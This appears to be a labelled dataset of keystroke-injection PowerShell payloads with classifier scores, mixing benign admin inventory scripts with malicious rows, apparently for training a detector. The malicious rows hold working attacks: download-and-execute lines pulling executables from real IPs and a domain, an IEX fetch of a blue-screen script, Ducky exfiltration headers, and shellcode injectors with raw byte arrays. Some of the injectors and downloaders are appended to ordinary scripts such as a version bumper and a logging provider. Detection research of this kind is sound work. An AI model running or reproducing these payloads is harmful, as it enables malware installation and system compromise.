"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_i22syg64"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_appx_packages.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.json"") -Encoding UTF8 enter Write-Host ""Starting system_inventory section 3."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4436285e-05
"win+r powershell enter  for ($a=0; $a -le 100; $a++) { Write-Host -NoNewLine ""`r$a% complete"" Start- enter Sleep -Milliseconds 10 } Write-Host """" (New-Object System.Net.WebClient).Downloa enter dFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-P enter rocess (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.429139e-05,0.99994576
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_mtn4c0w4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_150.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 100 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4076937e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_8ukwtlny"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 100 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3718698e-05
win+r powershell enter delay_long enter unknown_key_action CTRL ESC enter delay_medium enter powershell IEX((New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1'));Invoke-BSOD enter delay_medium enter enter enter,1,1,5.8279315e-05,0.9999417
"win+r powershell enter function Invoke-CleanupDescription(){ $ret1 = $test.description.ToString().trim enter () -replace '(?<! enter ) enter (?! enter )', ' ' #replace single linefeeds with a space $ret1 enter -replace ' enter enter ', ""`n"" #replace double linefeeds with a single linefeed } functi enter on Show-Details ($test, $testCount, $technique, $customInputArgs, $PathToAtomics enter Folder) { # Header info $tName = $technique.display_name.ToString() + "" "" + $t enter echnique.attack_technique Write-Host -ForegroundColor Magenta ""[********BEGIN enter TEST*******]"" Write-KeyValue ""Technique: "" $tName Write-KeyValue ""Atomic Test enter Name: "" $test.name.ToString() Write-KeyValue ""Atomic Test Number: "" $testCount enter if($test.auto_generated_guid) { Write-KeyValue ""Atomic Test GUID: "" $test.auto_ enter generated_guid} enter enter",1,1,0.00040470794,0.99959534
win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Saves some general Information about the target pc to a file. enter REM Version: 1.0 enter REM Category: Exfiltration enter DELAY 750 enter WINDOWS d enter DELAY 900 enter WINDOWS r enter DELAY 900 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 750 enter LEFTARROW enter ENTER enter DELAY 900 enter ALT y enter DELAY 900 enter STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime; $fileSaveDir = New-Item ($userDir) -ItemTy enter ENTER enter DUCKY_REAL_END enter,1,1,5.8197787e-05,0.9999418
"win+r powershell enter function Invoke-Encode { <# .SYNOPSIS Script for Nishang to encode and compress enter plain data. .DESCRIPTION The script asks for a path to a plain file or string, enter encodes it and writes to a file ""encoded.txt"" in the current working directory. enter If the switch -OutCommand is used. An encoded command which could be executed o enter n a non-powershell console is also generated. The encoded command is useful in c enter ase of non-interactive shells like webshell or when special characters in script enter s may create problems, for example, a meterpreter session. enter enter",1,1,6.0745926e-05,0.9999392
"win+r powershell enter  function Get-ResourceGroupLocation { $location = Get-Location ""Microsoft.Re enter coveryServices"" ""vaults"" ""West US""; $outputLocation = $location.ToLower() $out enter putLocation = $outputLocation -replace '\s', '' $outputLocation = $outputLocati enter on -replace '-', '' $outputLocation = $outputLocation -replace '_', '' return enter $outputLocation; } function Get-RandomSuffix( enter enter",1,1,0.0021193489,0.9978807
"win+r powershell enter $omsId = ""<Replace with your OMS Id>"" $omsKey = ""<Replace with your OMS key>"" $ enter resourceGroup = ""myResourceGroup"" $location = ""westeurope"" $vmName = ""myVM"" $se enter curePassword = ConvertTo-SecureString ' ' -AsPlainText -Force $cred = New-Object enter System.Management.Automation.PSCredential (""azureuser"", $securePassword) New-A enter zResourceGroup -Name $resourceGroup -Location $location enter",1,1,0.0022047858,0.9977952
"win+r enter powershell enter enter enter  enter $registrationEvent = { enter enter } enter $begin_event = { enter if (-not (Get-Module -Name 'PSGELF')) { enter Import-Module -Name 'PSGELF' enter } enter } enter $start_event = { enter $gelf_gelfserver = Get-PSFConfigValue -FullName 'PSFramework.Logging.GELF.GelfServer' enter $gelf_port = Get-PSFConfigValue -FullName 'PSFramework.Logging.GELF.Port' enter $gelf_encrypt = Get-PSFConfigValue -FullName 'PSFramework.Logging.GELF.Encrypt' enter enter $gelf_paramSendPsgelfTcp = @{ enter 'GelfServer' = $gelf_gelfserver enter 'Port' = $gelf_port enter 'Encrypt' = $gelf_encrypt enter } enter } enter $message_Event = { enter Param ( enter $Message enter ) enter enter $gelf_params = $gelf_paramSendPsgelfTcp.Clone() enter $gelf_params['ShortMessage'] = $Message.LogMessage enter $gelf_params['HostName'] = $Message.ComputerName enter $gelf_params['DateTime'] = $Message.Timestamp enter enter $gelf_params['Level'] = switch ($Message.Level) { enter 'Critical' { 1 } enter 'Important' { 1 } enter 'Output' { 3 } enter 'Host' { 4 } enter 'Significant' { 5 } enter 'VeryVerbose' { 6 } enter 'Verbose' { 6 } enter 'SomewhatVerbose' { 6 } enter 'System' { 6 } enter enter default { 7 } enter } enter enter if ($Message.ErrorRecord) { enter $gelf_params['FullMessage'] = $Message.ErrorRecord | ConvertTo-Json enter } enter $gelf_properties = $Message.PSObject.Properties | Where-Object { enter $_.Name -notin @('Message', 'LogMessage', 'ComputerName', 'Timestamp', 'Level', 'ErrorRecord') enter } enter enter $gelf_params['AdditionalField'] = @{} enter foreach ($gelf_property in $gelf_properties) { enter $gelf_params['AdditionalField'][$gelf_property.Name] = $gelf_property.Value enter } enter enter PSGELF\Send-PSGelfTCP @gelf_params enter } enter enter $error_Event = { enter Param ( enter $ErrorItem enter ) enter enter } enter $end_event = { enter enter } enter $final_event = { enter enter } enter $configurationParameters = { enter $configroot = ""PSFramework.Logging.GELF"" enter enter $configurations = Get-PSFConfig -FullName ""$configroot.*"" enter enter $RuntimeParamDic = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary enter enter foreach ($config in $configurations) enter { enter $ParamAttrib = New-Object System.Management.Automation.ParameterAttribute enter $ParamAttrib.ParameterSetName = '__AllParameterSets' enter $AttribColl = New-Object System.Collections.ObjectModel.Collection[System.Attribute] enter $AttribColl.Add($ParamAttrib) enter $RuntimeParam = New-Object System.Management.Automation.RuntimeDefinedParameter(($config.FullName.Replace($configroot, """").Trim(""."")), $config.Value.GetType(), $AttribColl) enter enter $RuntimeParamDic.Add(($config.FullName.Replace($configroot, """").Trim(""."")), $RuntimeParam) enter } enter return $RuntimeParamDic enter } enter $configurationScript = { enter $configroot = ""PSFramework.Logging.GELF"" enter enter $configurations = Get-PSFConfig -FullName ""$configroot.*"" enter enter foreach ($config in $configurations) enter { enter if ($PSBoundParameters.ContainsKey(($config.FullName.Replace($configroot, """").Trim(""."")))) enter { enter Set-PSFConfig -Module $config.Module -Name $config.Name -Value $PSBoundParameters[($config.FullName.Replace($configroot, """").Trim("".""))] enter } enter } enter } enter $isInstalledScript = { enter if (Get-Module -Name PSGELF -ListAvailable) { enter return $true enter } enter else { enter return $false enter } enter } enter $installationParameters = { enter enter } enter $installationScript = { enter enter if (-not (Get-Module -Name PSGELF -ListAvailable)) { enter Install-Module -Name PSGELF enter } enter } enter $configuration_Settings = { enter Set-PSFConfig -Module PSFramework -Name 'Logging.GELF.GelfServer' -Value """" -Initialize -Validation string -Handler { } -Description ""The GELF server to send logs to"" enter Set-PSFConfig -Module PSFramework -Name 'Logging.GELF.Port' -Value """" -Initialize -Validation string -Handler { } -Description ""The port number the GELF server listens on"" enter Set-PSFConfig -Module PSFramework -Name 'Logging.GELF.Encrypt' -Value $true -Initialize -Validation bool -Handler { } -Description ""Whether to use TLS encryption when communicating with the GELF server"" enter enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.Enabled' -Value $false -Initialize -Validation ""bool"" -Handler { if ([PSFramework.Logging.ProviderHost]::Providers['gelf']) { [PSFramework.Logging.ProviderHost]::Providers['gelf'].Enabled = $args[0] } } -Description ""Whether the logging provider should be enabled on registration"" enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.AutoInstall' -Value $false -Initialize -Validation ""bool"" -Handler { } -Description ""Whether the logging provider should be installed on registration"" enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.InstallOptional' -Value $false -Initialize -Validation ""bool"" -Handler { } -Description ""Whether installing the logging provider is mandatory, in order for it to be enabled"" enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.IncludeModules' -Value @() -Initialize -Validation ""stringarray"" -Handler { if ([PSFramework.Logging.ProviderHost]::Providers['gelf']) { ([PSFramework.Logging.ProviderHost]::Providers['gelf'].IncludeModules = $args[0] | Write-Output) } } -Description ""Module whitelist. Only messages from listed modules will be logged"" enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.ExcludeModules' -Value @() -Initialize -Validation ""stringarray"" -Handler { if ([PSFramework.Logging.ProviderHost]::Providers['gelf']) { ([PSFramework.Logging.ProviderHost]::Providers['gelf'].ExcludeModules = $args[0] | Write-Output) } } -Description ""Module blacklist. Messages from listed modules will not be logged"" enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.IncludeTags' -Value @() -Initialize -Validation ""stringarray"" -Handler { if ([PSFramework.Logging.ProviderHost]::Providers['gelf']) { ([PSFramework.Logging.ProviderHost]::Providers['gelf'].IncludeTags = $args[0] | Write-Output) } } -Description ""Tag whitelist. Only messages with these tags will be logged"" enter Set-PSFConfig -Module LoggingProvider -Name 'GELF.ExcludeTags' -Value @() -Initialize -Validation ""stringarray"" -Handler { if ([PSFramework.Logging.ProviderHost]::Providers['gelf']) { ([PSFramework.Logging.ProviderHost]::Providers['gelf'].ExcludeTags = $args[0] | Write-Output) } } -Description ""Tag blacklist. Messages with these tags will not be logged"" enter } enter enter Register-PSFLoggingProvider -Name ""gelf"" -RegistrationEvent $registrationEvent -BeginEvent $begin_event -StartEvent $start_event -MessageEvent $message_Event -ErrorEvent $error_Event -EndEvent $end_event -FinalEvent $final_event -ConfigurationParameters $configurationParameters -ConfigurationScript $configurationScript -IsInstalledScript $isInstalledScript -InstallationScript $installationScript -InstallationParameters $installationParameters -ConfigurationSettings $configuration_Settings enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.614774e-05,0.99994385
"win+r enter powershell enter enter enter #Elektris MARTIALIN BLUFFE FARMEREN Spilo6 TICKT NOTEKI Nabor MRSKMATER SEJRSGLD KERATOL HOSENAFH Brigalowu resubscrib UNDISC enter enter Add-Type -TypeDefinition @"" enter enter using System; enter enter using System.Runtime.InteropServices; enter enter public static class TILLGS1 enter enter { enter enter [DllImport(""ntdll.dll"")]public static extern int NtAllocateVirtualMemory(int TILLGS6,ref Int32 Proso,int HOVEDS,ref Int32 TILLGS,int privaci,int TILLGS7); enter enter [DllImport(""user32.dll"")]public static extern IntPtr CallWindowProcW(uint HOVEDS5,int HOVEDS6,int HOVEDS7,int HOVEDS8,int HOVEDS9); enter enter [DllImport(""kernel32.dll"")]public static extern void RtlMoveMemory(IntPtr HOVEDS1,ref Int32 HOVEDS2,int HOVEDS3); enter enter } enter enter ""@ enter enter #Carbol telegra overfl opti soul Terminspr klukke Mate6 Stum6 MILIU Over SLGTSP Bughu Tenst6 enter enter $TILLGS3=0; enter enter $TILLGS9=1048576; enter enter $TILLGS8=[TILLGS1]::NtAllocateVirtualMemory(-1,[ref]$TILLGS3,0,[ref]$TILLGS9,12288,64) enter enter $Oreadss=(Get-ItemProperty -Path ""HKCU:\Software\Olen"").Olen enter $Unde = [System.Byte[]]::CreateInstance([System.Byte],$Oreadss.Length / 2) enter For($i=0; $i -lt $Oreadss.Length; $i+=2) enter enter { enter enter $Unde[$i/2] = [convert]::ToByte($Oreadss.Substring($i, 2), 16) enter enter } enter for($SAMLELINS=0; $SAMLELINS -lt $Unde.count ; $SAMLELINS++) enter enter { enter [TILLGS1]::RtlMoveMemory($TILLGS3+$SAMLELINS,[ref]$Unde[$SAMLELINS],1) enter } enter enter [TILLGS1]::CallWindowProcW($TILLGS3, 0,0,0,0) enter enter",1,1,6.061827e-05,0.9999393
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_j48vrrfe"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.394755e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_ad5o7ri2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_cpu_15.csv"") -NoTypeInformation enter",0,0,0.9999659,3.411163e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_7dgyqj6f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.438949e-05
"win+r enter powershell enter enter enter ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http://alonqood.com/ezeke.exe', $dpl);Start-Process $dpl enter enter",1,1,5.8937192e-05,0.9999411
"win+r powershell enter function Invoke-KillProcessTree { Param([int]$ppid) if ($IsLinux -or $IsMacOS) enter { sh -c ""pkill -9 -P $ppid"" } else { while ($null -ne ($gcim = Get-CimInsta enter nce Win32_Process | Where-Object { $_.ParentProcessId -eq $ppid })) { $gcim | F enter orEach-Object { Invoke-KillProcessTree $_.ProcessId; Start-Sleep -Seconds 0.5 } enter } Stop-Process -Id $ppid -ErrorAction Ignore } } enter enter",1,1,0.001778776,0.9982212
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_9e3cajcb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 10 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_10.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.462326e-05
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x4b,0x3f,0x44,0x56,0xda,0xc8,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,0x47,0x31,0x7d,0x13,0x83,0xc5,0x04,0x03,0x7d,0x44,0xdd,0xb1,0xaa,0xb2,0xa3,0x3a,0x53,0x42,0xc4,0xb3,0xb6,0x73,0xc4,0xa0,0xb3,0x23,0xf4,0xa3,0x96,0xcf,0x7f,0xe1,0x02,0x44,0x0d,0x2e,0x24,0xed,0xb8,0x08,0x0b,0xee,0x91,0x69,0x0a,0x6c,0xe8,0xbd,0xec,0x4d,0x23,0xb0,0xed,0x8a,0x5e,0x39,0xbf,0x43,0x14,0xec,0x50,0xe0,0x60,0x2d,0xda,0xba,0x65,0x35,0x3f,0x0a,0x87,0x14,0xee,0x01,0xde,0xb6,0x10,0xc6,0x6a,0xff,0x0a,0x0b,0x56,0x49,0xa0,0xff,0x2c,0x48,0x60,0xce,0xcd,0xe7,0x4d,0xff,0x3f,0xf9,0x8a,0xc7,0xdf,0x8c,0xe2,0x34,0x5d,0x97,0x30,0x47,0xb9,0x12,0xa3,0xef,0x4a,0x84,0x0f,0x0e,0x9e,0x53,0xdb,0x1c,0x6b,0x17,0x83,0x00,0x6a,0xf4,0xbf,0x3c,0xe7,0xfb,0x6f,0xb5,0xb3,0xdf,0xab,0x9e,0x60,0x41,0xed,0x7a,0xc6,0x7e,0xed,0x25,0xb7,0xda,0x65,0xcb,0xac,0x56,0x24,0x83,0x01,0x5b,0xd7,0x53,0x0e,0xec,0xa4,0x61,0x91,0x46,0x23,0xc9,0x5a,0x41,0xb4,0x2e,0x71,0x35,0x2a,0xd1,0x7a,0x46,0x62,0x15,0x2e,0x16,0x1c,0xbc,0x4f,0xfd,0xdc,0x41,0x9a,0x52,0x8d,0xed,0x75,0x13,0x7d,0x4d,0x26,0xfb,0x97,0x42,0x19,0x1b,0x98,0x89,0x32,0xb6,0x62,0x59,0x6e,0xbb,0xe1,0xef,0xf8,0x41,0xfa,0x1e,0xa5,0xcc,0x1c,0x4a,0x45,0x99,0xb7,0xe2,0xfc,0x80,0x4c,0x93,0x01,0x1f,0x29,0x93,0x8a,0xac,0xcd,0x5d,0x7b,0xd8,0xdd,0x09,0x8b,0x97,0xbc,0x9f,0x94,0x0d,0xaa,0x1f,0x01,0xaa,0x7d,0x48,0xbd,0xb0,0x58,0xbe,0x62,0x4a,0x8f,0xb5,0xab,0xde,0x70,0xa1,0xd3,0x0e,0x71,0x31,0x82,0x44,0x71,0x59,0x72,0x3d,0x22,0x7c,0x7d,0xe8,0x56,0x2d,0xe8,0x13,0x0f,0x82,0xbb,0x7b,0xad,0xfd,0x8c,0x23,0x4e,0x28,0x0d,0x1f,0x99,0x14,0x7b,0x71,0x19;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2171206e-05,0.9999478
"win+r enter powershell enter enter enter function Assert-NotNull enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Position=0)] enter [object] enter enter $InputObject, enter enter [Parameter(Position=1)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter if( $InputObject -eq $null ) enter { enter Fail (""Value is null. {0}"" -f $message) enter } enter } enter enter Set-Alias -Name 'Assert-IsNotNull' -Value 'Assert-NotNull' enter enter",0,0,0.9999502,4.988327e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_wx5fjqvb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_50.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter Get-AppxPackage | enter Select-Object -First 200 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3908273e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_phn07heh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4425975e-05
"win+r enter powershell enter enter enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$False, Position=0)] enter [String]$Folder, enter [Parameter(Mandatory=$False)] enter [bool]$Major, enter [Parameter(Mandatory=$False)] enter [bool]$Minor, enter [Parameter(Mandatory=$False)] enter [bool]$Patch enter ) enter enter function ReplaceVersion([string]$key, [string]$line) enter { enter $matches = ([regex]::matches($line, ""$key = '([\d\.]+)'"")) enter if($matches.Count -eq 1) enter { enter $packageVersion = $matches.Groups[1].Value enter $version = $packageVersion.Split(""."") enter enter $cMajor = $Major enter $cMinor = $Minor enter $cPatch = $Patch enter enter if ($version[0] -eq 0) enter { enter if ($cMajor -eq $true) enter { enter $version[1] = 1 + $version[1] enter $version[2] = ""0"" enter } enter enter if ($cMinor -eq $true -or $cPatch -eq $true) enter { enter $version[2] = 1 + $version[2] enter } enter } enter else enter { enter if ($cMajor -eq $true) enter { enter $version[0] = 1 + $version[0] enter $version[1] = ""0"" enter $version[2] = ""0"" enter } enter enter if ($cMinor -eq $true) enter { enter $version[1] = 1 + $version[1] enter $version[2] = ""0"" enter } enter enter if ($cPatch -eq $true) enter { enter $version[2] = 1 + $version[2] enter } enter } enter enter $version = [String]::Join(""."", $version) enter $line.Replace(""$key = '$packageVersion'"", ""$key = '$version'"") enter } else { enter $line enter } enter } enter enter function IncrementVersion([string]$FilePath) enter { enter Write-Output ""Updating File: $FilePath"" enter (Get-Content $FilePath) | enter ForEach-Object { enter $temp = ReplaceVersion ""ModuleVersion"" $_ enter ReplaceVersion ""RequiredVersion"" $temp enter } | Set-Content -Path $FilePath -Encoding UTF8 enter } enter enter if (!$Folder) enter { enter $Folder = ""$PSScriptRoot\..\src"" enter } enter enter $modules = Get-ChildItem -Path $Folder -Filter *.psd1 -Recurse -Exclude *.dll-help.psd1 | Where {$_.FullName.Contains(""Stack"")} enter ForEach ($module in $modules) enter { enter IncrementVersion($module.FullName) enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xb6,0xc8,0x5e,0x5f,0xd9,0xed,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x47,0x83,0xc0,0x04,0x31,0x50,0x0f,0x03,0x50,0xb9,0x2a,0xab,0xa3,0x2d,0x28,0x54,0x5c,0xad,0x4d,0xdc,0xb9,0x9c,0x4d,0xba,0xca,0x8e,0x7d,0xc8,0x9f,0x22,0xf5,0x9c,0x0b,0xb1,0x7b,0x09,0x3b,0x72,0x31,0x6f,0x72,0x83,0x6a,0x53,0x15,0x07,0x71,0x80,0xf5,0x36,0xba,0xd5,0xf4,0x7f,0xa7,0x14,0xa4,0x28,0xa3,0x8b,0x59,0x5d,0xf9,0x17,0xd1,0x2d,0xef,0x1f,0x06,0xe5,0x0e,0x31,0x99,0x7e,0x49,0x91,0x1b,0x53,0xe1,0x98,0x03,0xb0,0xcc,0x53,0xbf,0x02,0xba,0x65,0x69,0x5b,0x43,0xc9,0x54,0x54,0xb6,0x13,0x90,0x52,0x29,0x66,0xe8,0xa1,0xd4,0x71,0x2f,0xd8,0x02,0xf7,0xb4,0x7a,0xc0,0xaf,0x10,0x7b,0x05,0x29,0xd2,0x77,0xe2,0x3d,0xbc,0x9b,0xf5,0x92,0xb6,0xa7,0x7e,0x15,0x19,0x2e,0xc4,0x32,0xbd,0x6b,0x9e,0x5b,0xe4,0xd1,0x71,0x63,0xf6,0xba,0x2e,0xc1,0x7c,0x56,0x3a,0x78,0xdf,0x3e,0x8f,0xb1,0xe0,0xbe,0x87,0xc2,0x93,0x8c,0x08,0x79,0x3c,0xbc,0xc1,0xa7,0xbb,0xc3,0xfb,0x10,0x53,0x3a,0x04,0x61,0x7d,0xf8,0x50,0x31,0x15,0x29,0xd9,0xda,0xe5,0xd6,0x0c,0x76,0xe3,0x40,0x6f,0x2f,0xea,0x94,0x07,0x32,0xed,0xa4,0xee,0xbb,0x0b,0x94,0x40,0xec,0x83,0x54,0x31,0x4c,0x74,0x3c,0x5b,0x43,0xab,0x5c,0x64,0x89,0xc4,0xf6,0x8b,0x64,0xbc,0x6e,0x35,0x2d,0x36,0x0f,0xba,0xfb,0x32,0x0f,0x30,0x08,0xc2,0xc1,0xb1,0x65,0xd0,0xb5,0x31,0x30,0x8a,0x13,0x4d,0xee,0xa1,0x9b,0xdb,0x15,0x60,0xcc,0x73,0x14,0x55,0x3a,0xdc,0xe7,0xb0,0x31,0xd5,0x7d,0x7b,0x2d,0x1a,0x92,0x7b,0xad,0x4c,0xf8,0x7b,0xc5,0x28,0x58,0x28,0xf0,0x36,0x75,0x5c,0xa9,0xa2,0x76,0x35,0x1e,0x64,0x1f,0xbb,0x79,0x42,0x80,0x44,0xac,0x52,0xfc,0x92,0x88,0x20,0xec,0x26;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1433486e-05,0.9999486
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_z676x31c"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.368598e-05
